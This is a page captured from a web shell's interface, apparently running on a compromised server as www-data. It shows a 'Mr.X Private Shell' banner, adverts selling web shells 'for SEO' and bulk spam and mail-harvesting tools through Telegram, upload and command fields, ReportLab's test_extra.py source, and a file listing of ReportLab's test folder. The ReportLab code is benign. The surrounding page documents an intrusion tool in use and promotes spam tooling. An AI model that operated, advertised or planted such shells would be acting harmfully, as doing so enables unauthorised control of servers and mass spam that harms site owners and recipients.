__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.146: ~ $
"""This executes tests defined outside the normal test suite.
See docstring for class ExternalTestCase for more information.
"""
from reportlab.lib.testutils import setOutDir,SecureTestCase, printLocation
setOutDir(__name__)
import os, string, fnmatch, re, sys, unittest
EXTRA_FILE = 'extra.txt'

class ExternalTestCase(SecureTestCase):
    """Test case starting cases external to the normal RL suite.

    This test case runs additional test cases defined in external
    modules which must also be using the unittest framework.
    These additional modules must be defined in a file named
    'extra.txt' which needs to be located in the tests
    folder and contains one path per line.

    The paths of these modules can contain stuff from the Unix
    world like '~', '.', '..' and '$HOME' and can have absolute
    or relative paths. If they are relative they start from the
    tests folder.

    This is a sample 'extra.txt' file:

        foo.py
        ./foo.py
        bar/foo.py
        ../foo.py
        /bar/foo.py
        ~/foo.py
        ~/bar/foo.py
        ~/../foo.py
        $HOME/bar/foo.py
    """

    def test0(self):
        "Execute external test cases."

        cwd = os.getcwd()

        # look for a file named 'extra.txt' in test directory,
        # exit if not found
        from reportlab.lib.testutils import RL_HOME
        extraFilename = os.path.join(RL_HOME, 'test', EXTRA_FILE)
        if not os.path.exists(extraFilename):
            return

        # read module paths from file
        extraModulenames = open(extraFilename).readlines()
        extraModulenames = list(map(string.strip, extraModulenames))

        # expand pathnames as much as possible
        for f in extraModulenames:
            if f == '':
                continue
            if f[0] == '#':
                continue
            f = os.path.expanduser(f)
            f = os.path.expandvars(f)
            f = os.path.abspath(f)

            if os.path.exists(f):
                # look for a makeSuite function and execute it if present
                folder = os.path.abspath(os.path.dirname(f))
                modname = os.path.splitext(os.path.basename(f))[0]
                os.chdir(folder)
                sys.path.insert(0, folder)

                module = __import__(modname) # seems to fail sometimes...
                if 'makeSuite' in dir(module):
                    print("running", f)
                    testSuite = module.makeSuite()
                    unittest.TextTestRunner().run(testSuite)
                os.chdir(cwd)
                sys.path = sys.path[1:]


def makeSuite():
    suite = unittest.TestSuite()
    loader = unittest.TestLoader()
    suite.addTest(loader.loadTestsFromTestCase(ExternalTestCase))

    return suite


#noruntests
if __name__ == "__main__":
    if len(sys.argv) > 1:
        EXTRA_FILE = sys.argv[1]
        assert os.path.isfile(EXTRA_FILE), 'file %s not found!' % EXTRA_FILE
    # otherwise, extra.txt will be used
    unittest.TextTestRunner().run(makeSuite())
    printLocation()

Filemanager

Name Type Size Permission Actions
barcode-out Folder 0755
charts-out Folder 0755
render-out Folder 0755
00readme.txt File 913 B 0644
__init__.py File 80 B 0644
_i_am_actually_a_gif.jpg File 1.05 KB 0644
_i_am_actually_a_jpeg.gif File 12.17 KB 0644
alpha_test.png File 3.72 KB 0644
encryption.gif File 2.91 KB 0644
gray-alpha.png File 1.86 KB 0644
pythonpowered-gs.gif File 1.85 KB 0644
pythonpowered.gif File 1.05 KB 0644
rltw-icon-tr.png File 6.35 KB 0644
runAll.py.gz File 2.04 KB 0644
solid_red_alpha.png File 2.35 KB 0644
tall_red.png File 172 B 0644
test-cross.tiff File 288 B 0644
test-indexed.png File 168 B 0644
test-rgba.png File 157 B 0644
test_charts_textlabels.py.gz File 2.15 KB 0644
test_crypto_algorithms.py.gz File 1.94 KB 0644
test_docs_build.py File 1.43 KB 0644
test_docstrings.py.gz File 2.04 KB 0644
test_extra.py File 2.99 KB 0644
test_geomutils.py File 956 B 0644
test_graphics_barcode.py.gz File 4.17 KB 0644
test_graphics_charts.py.gz File 8.22 KB 0644
test_graphics_images-cairo.gif File 32.01 KB 0644
test_graphics_images-cairo.png File 45.75 KB 0644
test_graphics_images-libart.gif File 15.17 KB 0644
test_graphics_images-libart.png File 20.85 KB 0644
test_graphics_images.gif File 32.01 KB 0644
test_graphics_images.png File 45.75 KB 0644
test_graphics_images.py.gz File 1.72 KB 0644
test_graphics_layout.py File 2.46 KB 0644
test_graphics_render.py.gz File 2.68 KB 0644
test_graphics_speed.py File 2.57 KB 0644
test_hello.py File 1.85 KB 0644
test_images.py File 2.55 KB 0644
test_invariant.py File 2.47 KB 0644
test_issues.py.gz File 1.49 KB 0644
test_lib_colors.py.gz File 2.26 KB 0644
test_lib_normaldate.py.gz File 1.52 KB 0644
test_lib_pdfencrypt.py.gz File 1.79 KB 0644
test_lib_rl_safe_eval.py.gz File 2.92 KB 0644
test_lib_sequencer.py File 3.66 KB 0644
test_lib_utils.py.gz File 3.43 KB 0644
test_lib_validators.py.gz File 1.4 KB 0644
test_multibyte_chs.py File 2.39 KB 0644
test_multibyte_cht.py.gz File 1.84 KB 0644
test_multibyte_jpn.py.gz File 6.19 KB 0644
test_multibyte_kor.py.gz File 2.27 KB 0644
test_paragraphs.py.gz File 6.28 KB 0644
test_pdfbase_encodings.py.gz File 3.34 KB 0644
test_pdfbase_fontembed.py File 3.78 KB 0644
test_pdfbase_pdfdoc.py File 2.65 KB 0644
test_pdfbase_pdfform.py.gz File 2.22 KB 0644
test_pdfbase_pdfmetrics.py.gz File 1.6 KB 0644
test_pdfbase_pdfutils.py File 1.57 KB 0644
test_pdfbase_postscript.py File 3.11 KB 0644
test_pdfbase_ttfonts.py.gz File 9.57 KB 0644
test_pdfgen_callback.py File 991 B 0644
test_pdfgen_general.py.gz File 12.59 KB 0644
test_pdfgen_links.py.gz File 1.9 KB 0644
test_pdfgen_overprint.py File 3.06 KB 0644
test_pdfgen_pagemodes.py File 1.81 KB 0644
test_platypus_accum.py File 3.09 KB 0644
test_platypus_breaking.py.gz File 6.5 KB 0644
test_platypus_cjk_wrap.py.gz File 2.04 KB 0644
test_platypus_general.py.gz File 9.34 KB 0644
test_platypus_images.py File 4 KB 0644
test_platypus_indents.py.gz File 2.06 KB 0644
test_platypus_index.py.gz File 2.05 KB 0644
test_platypus_leftright.py.gz File 1.79 KB 0644
test_platypus_lists.py.gz File 2.95 KB 0644
test_platypus_paragraphs.py.gz File 20.24 KB 0644
test_platypus_paraparser.py.gz File 1.26 KB 0644
test_platypus_pleaseturnover.py.gz File 3.15 KB 0644
test_platypus_preformatted.py.gz File 2.71 KB 0644
test_platypus_programming.py.gz File 1.96 KB 0644
test_platypus_tables.py.gz File 10.17 KB 0644
test_platypus_toc.py.gz File 3.99 KB 0644
test_platypus_wrapping.py File 3.68 KB 0644
test_platypus_xref.py.gz File 1.96 KB 0644
test_pyfiles.py.gz File 1.67 KB 0644
test_renderPS.py.gz File 1.78 KB 0644
test_renderSVG.py.gz File 2.07 KB 0644
test_rl_accel.py.gz File 2.82 KB 0644
test_source_chars.py File 3.34 KB 0644
test_table_inrowsplit.py.gz File 3.48 KB 0644
test_table_layout.py.gz File 7.77 KB 0644
test_tools_pythonpoint.py File 1.21 KB 0644
test_utils.py File 1.32 KB 0644
test_widgetbase_tpc.py.gz File 1.34 KB 0644
test_widgets_grids.py.gz File 1.37 KB 0644
unimportable.py File 166 B 0644
Filemanager